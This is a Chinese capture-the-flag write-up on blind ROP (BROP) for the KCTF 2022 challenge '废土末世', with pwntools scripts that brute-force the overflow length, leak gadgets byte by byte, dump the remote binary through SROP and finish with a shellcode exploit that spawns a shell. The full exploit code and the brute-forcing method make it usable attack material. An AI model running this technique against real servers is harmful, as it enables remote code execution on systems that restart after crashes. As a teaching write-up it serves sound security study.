BROP入门之 KCTF 2022 废土末世
定义
来自CTF wiki:
BROP 是没有对应应用程序的源代码或者二进制文件下,对程序进行攻击,劫持程序的执行流
攻击条件
- 源程序必须存在栈溢出漏洞,以便于攻击者可以控制程序流程。
- 服务器端的进程在崩溃之后会重新启动,并且重新启动的进程的地址与先前的地址一样(这也就是说即使程序有 ASLR 保护,但是其只是在程序最初启动的时候有效果)。目前 nginx, MySQL, Apache, OpenSSH 等服务器应用都是符合这种特性的
基本思路
暴力枚举获取栈溢出长度,逐字符比较泄露返回地址,获取gadget,leak出ELF进行进一步分析,写rop来getshell
实战
接下来我们以2022 KCTF 的第六题废土末世为例子,一起来分析一下BROP类题目的解题流程
泄露缓冲区长度
如果是BROP类题目,那么一定会有溢出点,所以首先通过爆破获取缓冲区长度:
def get_overflow_length():global iolen=1while True:try:io=remote("221.228.109.254",10045)sa("hacker, TNT!\n",'a'*len)print("now trying length is "+str(len))res=io.recv()io.close()if "TNT TNT!" not in res:return len-1else:len+=1except EOFError:io.close()return len-1
print("overflow length is "+str(get_overflow_length()))
然后来看看结果
可以看到缓冲区长度应该是16
泄露程序结构
接下来就是要去泄露程序内容,这里我们将程序返回结果分为三种:
- 正常运行
- 等待输入或陷入死循环
- 程序崩溃,接收到EOF
def probe(payload):global io try:io=remote('221.228.109.254',10031)sa("hacker, TNT!\n",payload)res=io.recv(timeout=3)if "TNT" in res:return "success"else:return "stuck"except:return "crash"
对于本道题来说,知道缓冲区为16,所以要爆破的是第十七字节,从0到255,于是写下如下代码:
ans=open("ans.txt",'wb')
for i in range(256):ans.write(hex(i)+"----->"+probe('a'*16+chr(i))+'\n')
然后来看看爆破结果:
可以看到有两种情况都能让程序继续运行,分别是0xb0和0xce,我们来试一下:
这里会发现,当输入的是0xb0的时候程序直接重启了,所以直接推测输入0xb0是直接返回到了程序入口
当输入是0xce的时候是执行的正常流程。并且这里能够看出程序在读取输入的时候是调用了一个call了一个函数的,这样程序的结构才是输入,返回到下一个输出.
现在我们确定了原本程序的第十七个字节应该是0xce,以此为基础继续单字节爆破:
ans=open("ans.txt",'wb')
for i in range(256):ans.write(hex(i)+"----->"+probe('a'*16+'\xce'+chr(i))+'\n')
再爆破一字节:
到这里可以得到的结论就多起来了,首先是0x40,把爆破得到的三个字节组合一下:
0x4000ce,这不就是一个64位没开pie的程序的text段上的地址嘛
从这里我们大致猜测出了程序的架构,程序的保护情况(没开canary,没有pie)
再看这个0x60,说实话有点奇怪,为什么会有0x60,如果程序是64位没开pie,那么0x600000应该是数据段,正常来说应该不能执行的,但是如果本道题0x6000000段是rwx的呢,或者说没有开NX保护呢?都是有可能的,我们先暂且放一放这个0x60,继续通过0x40这里得到的结论来做
到这里我呢大概猜测出程序结构:
0x4000b0 程序入口
打印内容
call 读取输入
0x4000ce 打印 “TNT TNT!”
寻找gadget
首先要找的就是ret,寻找方式其实也很简单,现在我们已经知道了程序正常执行的地址,如果把返回地址改成0x400xxx,然后把返回地址的下一个地址改成0x4000ce,如果正常运行了则说明返回地址处填写的是一个以ret结尾的gadget,至于会不会是其它操作+ret这种格式,其实不用担心,因为如果是这样的话,那么后面更大的地址处也会出现ret,所以只需要取地址最大的那个gadget,就一定是纯ret指令的地址。
一开始让倒数第三位为0进行爆破,发现跑出来的只有0xb0和0xce这两个老熟人,于是换成0x4001xx来爆破:
ans=open("ans.txt",'wb')
for i in range(256):ans.write(hex(i)+"----->"+probe('a'*16+p64(0x400100+i)+p64(0x4000ce))+'\n')
找到了两个新的success,根据上面的结论,0x400011是什么我不知道,但是我知道0x400106一定是ret指令
接下来要泄露的是syscall,这里可能有人会有疑惑,按照以往rop的经验,现在不是应该去寻找类似pop rdi;ret这类可以设置寄存器的gadget吗,但是对于这道题来说,它既然代码段小的可怜,很有可能并没有这些寄存器,而是采用syscall的形式来做到输入输出。而且最后我们控制程序执行流也是落到syscall指令,最后的一点原因,syscall比较好找。
如何来找呢,回头看我们会发现,我们到这里了还没有关注过stuck,这个程序结构非常简单,所以stuck基本不可能是因为进入了死循环,那么stuck住了说明程序要获取输入了,有几种情况呢,比如执行到了syscall,比如执行到了call 读取输入这条指令。
我们现在分析出的程序结构,在获取输入的时候应该是通过call来完成的,而正确的返回地址是0x4000ce,call指令一般是五个字节,所以可以合理的分析出,如果返回地址被我们填成0x4000c9,程序应该会再次获取输入,也就是会stuck住,我们来看看结果:
大致整理一下,会stuck的有:
0xb5,0xb6,0xb8,0xc2,0xc7,0xc9,0xec, 0xed, 0xee, 0xef, 0xf2, 0xf3
可以看到0xc9确实会stuck住,并且0xc7也会,一个syscall是两字节,这里猜测是0xc7为syscall,执行的是write,然后call 获取输入
到这里我们其实已经可以控制程序执行流了,只需要用SROP技术,先通过读入指定长度的数据控制rax,然后执行syscall,在后面设置好寄存器即可控制执行流。利用执行流执行write(1,0x400000,0x2000)即可把远程的程序直接leak下来,拿到ida里静态分析就舒服多了。
在具体做的时候要注意rop里不能用0xc9那里的call,会扰乱执行流,并且我们发现0xec, 0xed, 0xee, 0xef, 0xf2, 0xf3这几个也可以让程序stuck,所以这里很容易想到这几个地址应该是获取输入的函数内的地址,所以这里避开call指令,直接调到函数入口处实现读入,所以返回地址填成0x40000ec试试看能不能成功:
io=remote('221.228.109.254',10001)
ret=0x400106
sigframe = SigreturnFrame()
sigframe.rax = 1
sigframe.rdi = 1
sigframe.rsi = 0x400000
sigframe.rdx = 0x1000
sigframe.rip = 0x4000c7
payload=b'a'*16+p64(0x4000ec)+p64(0x4000c7)+bytes(sigframe)
io.send(payload)
sleep(1)
io.send('a'*15)
irt()
可以看到成功将程序本身打印出来了,我们接收一下,拿到二进制文件放进IDA里看看:
从IDA分析的结果来看,程序的结构和我们分析的基本一致。
放进gdb看一下发现0x600000居然是rwx段,所以说当初跳到0x6000xx的时候也能success
接下来就是思考如何getshell,这里其实直接srop写shellcode然后执行就可以了
如果0x600000段不是rwx的呢,也是可以做的,还是先通过srop将栈迁移到0x600000段上并且执行mprotect,因为程序段中有syscall ;call read这种代码片段,并且read函数在读入的时候是完全根据rsp来确定向哪里读入的,所以我们始终可以通过覆盖返回地址控制执行流。
最后附上解题exp:
from re import L
from pwn import *
from ctypes import *
from LibcSearcher import *
#context.log_level = 'debug'
context.arch='amd64'
#io=process("./pwn")
#io = process(['./ld.so','./pwn'],env={"LD_PRELOAD":"./libc.so.6"})
#elf=ELF('./pwn')
#io = remote('47.106.122.102',48752)
#libc = ELF('./libc-2.23.so')
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
irt = lambda : io.interactive()
dbg = lambda text=None : gdb.attach(io, text)
# lg = lambda s,addr : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
def get_overflow_length():global iolen=1while True:try:io=remote("221.228.109.254",10045)sa("hacker, TNT!\n",'a'*len)print("now trying length is "+str(len))res=io.recv()io.close()if "TNT TNT!" not in res:return len-1else:len+=1except EOFError:io.close()return len-1
def probe(payload):global io try:io=remote('221.228.109.254',10001)sa("hacker, TNT!\n",payload)res=io.recv(timeout=3)if "TNT" in res:return "success"else:return "stuck"except:return "crash"
def leak_ELF():io=remote('221.228.109.254',10001)io.recvuntil(b"hacker, TNT!\n")ret=0x400106sigframe = SigreturnFrame()sigframe.rax = 1sigframe.rdi = 1sigframe.rsi = 0x400000sigframe.rdx = 0x1000sigframe.rip = 0x4000c7payload=b'a'*16+p64(0x4000ec)+p64(0x4000c7)+bytes(sigframe)io.send(payload)sleep(1)io.send('a'*15)r=io.recv()with open("bin", "wb") as f:f.write(r)io.close()
io=remote('221.228.109.254',10057)
io.recvuntil(b"hacker, TNT!\n")sigframe = SigreturnFrame()
sigframe.rip = 0x4000ee
sigframe.rsp = 0x600800io.send(b'a'*16 + p64(0x4000ee) + p64(0x400100) + bytes(sigframe))
sleep(1)io.send(b'a'*15)
sleep(1)io.send(b'a'*16 + p64(0x600808) + asm(shellcraft.sh()))io.interactive()
成功打通:
BROP入门之 KCTF 2022 废土末世相关推荐
- 【mysql入门笔记01 2022.9.27】
mysql入门笔记01 2022.9.27 数据库概念 数据库管理系统 关系型数据库(RDBMS) 非关系型数据库(NoSQL) SQL概念 Mysql 版本 Mysql安装 Mysql启动 方式一 ...
- MyBatis入门配置(2022.7.16)
为什么要学习MyBatis 1.传统的JDBC存在硬编码问题(驱动地址.密码.sql语句很麻烦) 2.访问数据的步骤繁琐(set和get) MyBatis是什么 1.MyBatis是一款优秀的持久层框 ...
- 零基础如何入门网络安全?2022年专业学习路线看这篇就够了
前景 很多零基础朋友开始将网络安全作为发展的大方向,的确,现如今网络安全已经成为了一个新的就业风口,不仅大学里开设相关学科,连市场上也开始大量招人. 那么网络安全到底前景如何?大致从市场规模.政策扶持 ...
- 洛谷 数论入门相关题目--2022.01.22
P2926 [USACO08DEC]Patting Heads S 拍头 https://www.luogu.com.cn/problem/P2926 P3383 [模板]线性筛素数 https:// ...
- c4droid入门教程(2022干货)- 手机C4DROID编辑器
最后于2022-6-4更新 此文章拒绝一切形式转载.如果在网上看到文章,作者非"yuanwow"/"元小旦"即为无授权转载!!!原文地址https://blog ...
- 3小时快速入门html5+css(2022)
字体图标-iconfont 1.引入样式表 2.引入内容 <link rel="stylesheet" href="./iconfont/iconfont.css& ...
- 2022.4月份科研记录【日记】
2022.4月份科研记录[日记] 2022.4.1 愚人节 周五 晴 2022.4.3 据说这是假期第一天 周日 晴 2022.4.4 清明节的第二天 周一 晴 2022.4.5 清明节 周二 晴 2 ...
- web前端全套教程,入门必备
WEB前端在编程界已经是非常根深蒂固,其发展也是异常宽广. 很多人选择WEB前端,可能是因为WEB前端容易入门,而且不需要太多专业基础.随着前端的人才越来越多,企业面试要求也越来越高,进阶高级前端需要 ...
- 信奥中的数学 数论篇 相关资料汇总(2022.07.07)
数论入门书籍推荐 数论入门书籍推荐_dllglvzhenfeng的博客-CSDN博客_数论入门应该看什么书 数学女孩系列书籍 数学女孩系列书籍_dllglvzhenfeng的博客-CSDN博客 信息学 ...
最新文章
- redmine2.4.2 插件安装
- HDU - 4725 The Shortest Path in Nya Graph(最短路+思维)
- 如何使用SAP Intelligent Robotic Process Automation自动操作Excel
- mysql 取左_MySQL select语句从字符串左侧获取5个字符
- 004-React入门概述
- webase crud查看所有表_Laravel-Gii 可视化代码生成工具 CRUD +GUI
- 学校校车运营各项安全管理制度_学校校车接送安全管理制度(通用3篇)
- scala模板写入es_Spark——scala 实用小方法
- 生成的头_谷歌新款怪物制造机,用GAN一键生成定制版哥斯拉
- 苹果iOS开发深入浅出Cocoa之类与对象
- C# :弧度角度转换
- JS中this是什么
- 武汉大学计算机学院2018夏令营,武汉大学
- tensorflow学习笔记——获取训练数据集和测试数据集
- 蓝天学校计算机教学反思,小学四年级上册《飞向蓝天的恐龙》教学反思
- 互联网消费金融---互联网金融原理与实务【郭勤贵......等人著】的学习
- 【课后习题】高等数学第七版下第十二章 无穷级数 第二节 常数项级数的审敛法
- 用声卡实现的存储示波器
- Mysql中使用关键字name做字段名
- selenium对弹窗(alert)的处理